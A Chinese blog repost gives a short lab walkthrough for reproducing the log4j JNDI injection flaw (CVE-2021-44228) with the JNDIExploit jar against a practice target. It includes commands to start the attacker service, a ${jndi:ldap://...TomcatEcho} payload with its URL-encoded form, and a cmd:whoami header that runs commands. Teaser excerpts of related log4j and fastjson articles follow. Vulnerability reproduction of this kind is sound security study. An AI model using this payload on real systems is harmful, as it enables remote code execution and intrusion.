JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用

7月前作者：wutiangui 分类：Toy博客阅读(32) 违法举报

这篇具有很好参考价值的文章主要介绍了JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

1.首先搭建log4j靶场
JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用,jar,log4j,java

2.开启服务
Windows攻击端执行以下命令
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 9999 -i 127.0.0.1
JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用,jar,log4j,java

再开一个cmd可以看下能用什么payload
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用,jar,log4j,java

以上payload都可以尝试，我们使用
ldap://null:1389/TomcatBypass/TomcatEcho
3.构造请求
${jndi:ldap://192.168.155.2:8888/TomcatBypass/TomcatEcho}
转成URL
%24%7Bjndi%3Aldap%3A//192.168.155.2%3A8888/TomcatBypass/TomcatEcho%7D
4.开启bp
请求包中增加cmd:whoami
JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用,jar,log4j,java

执行后发现命令可以执行
JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用,jar,log4j,java 文章来源地址https://www.toymoban.com/news/detail-706019.html

到了这里，关于JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

网络安全 log4j漏洞复现

前言： log4j被爆出“史诗级”漏洞。其危害非常大，影响非常广。该漏洞非常容易利用，可以执行任意代码。这个漏洞的影响可谓是重量级的。漏洞描述：由于Apache Log4j存在递归解析功能，未取得身份认证的用户，可以从远程发送数据请求输入数据日志，轻松触发漏洞，最

2024年02月09日
浏览(51)
log4j漏洞原理及攻击流程

log4j漏洞最早出现在2021年11月24日一位阿里安全团队的员工发现的，上报到Apache之后，12月10日凌晨才被公开。该漏洞威胁等级较高。基本比肩与阿里当年的fastjson漏洞。漏洞地址： Log4j是一种流行的Java日志记录工具,其升级版本Log4j 2存在安全漏洞。这个漏洞是由Log4j 2的lookup功

2024年02月16日
浏览(31)
fastJson反序列化漏洞和log4j漏洞

有 attach.class (编译好的文件) 攻击者建立rmi服务端，于rmi服务端建造一系列攻击对象，假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ，静态代码块会优先加载，无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 （高版本添

2024年02月16日
浏览(43)
深入解析著名的阿里云Log4j 漏洞

几乎每个系统都会使用日志框架，用于记录日志信息，这些信息可以提供程序运行的上下文，但是日志过多也会影响系统的性能，所以好的日志框架应该是可靠，快速和可扩展的。 Apache Log4j2 是一个基于 Java 的日志工具，是Log4j的升级版本，引入了很多丰富的特性，包括高性

2024年02月16日
浏览(39)
【实战】一次简单的log4j漏洞测试

更新时间：2021.12.19 参考文档：https://www.yuque.com/u8021480/crow/dg9xax 在去年 log4j 漏洞刚爆发的时候，很多平台都存在漏洞，当时也在第一时间在有授权的情况下对某论坛进行了渗透测试，结果发现存在漏洞，报告之后，漏洞也被很快修复。本次对该渗透过程进行一个简单的记录

2023年04月26日
浏览(37)
【java安全】Log4j反序列化漏洞

关于Apache Log4j Log4j是Apache的开源项目，可以实现对System.out等打印语句的替代，并且可以结合spring等项目，实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码，满足了大多数要求。就是用来打印日志的漏洞成因

2024年02月11日
浏览(37)
【问题】SpringBoot项目中log4j与logback的Jar包冲突问题

这篇文章主要给大家介绍了解决SpringBoot项目中log4j与logback的Jar包冲突问题,文中有详细的解决方法和冲突的原因。 SLF4J: Class path contains multiple SLF4J bindings. SLF4J: Found binding in [jar:file:/C:/Users/lx/.m2/repository/org/slf4j/slf4j-log4j12/1.7.25/slf4j-log4j12-1.7.25.jar!/org/slf4j/impl/StaticLoggerBinder.class

2024年01月22日
浏览(83)
CVE-2021-44228 Apache log4j 远程命令执行漏洞

一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架，是Apache旗下的一个开源项目，使用Log4j，我们更加方便的记录了日志信息，它不但能控制日志输出的目的地，也能控制日志输出的内容格式；通过定义不同的日志级别，可以更加精确的控制日志的生成过程，

2024年02月08日
浏览(41)
Web网络安全-----Log4j高危漏洞原理及修复

Web网络安全-----红蓝攻防之信息收集 Log4j 即 log for java(java的日志) ，是Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；

2024年02月10日
浏览(38)
Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

什么是JNDI JNDI全称为 Java Naming and Directory Interface（Java命名和目录接口），是一组应用程序接口，为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有：DNS、LDAP、CORBA、RMI等。简单从安全角度

2024年02月09日
浏览(35)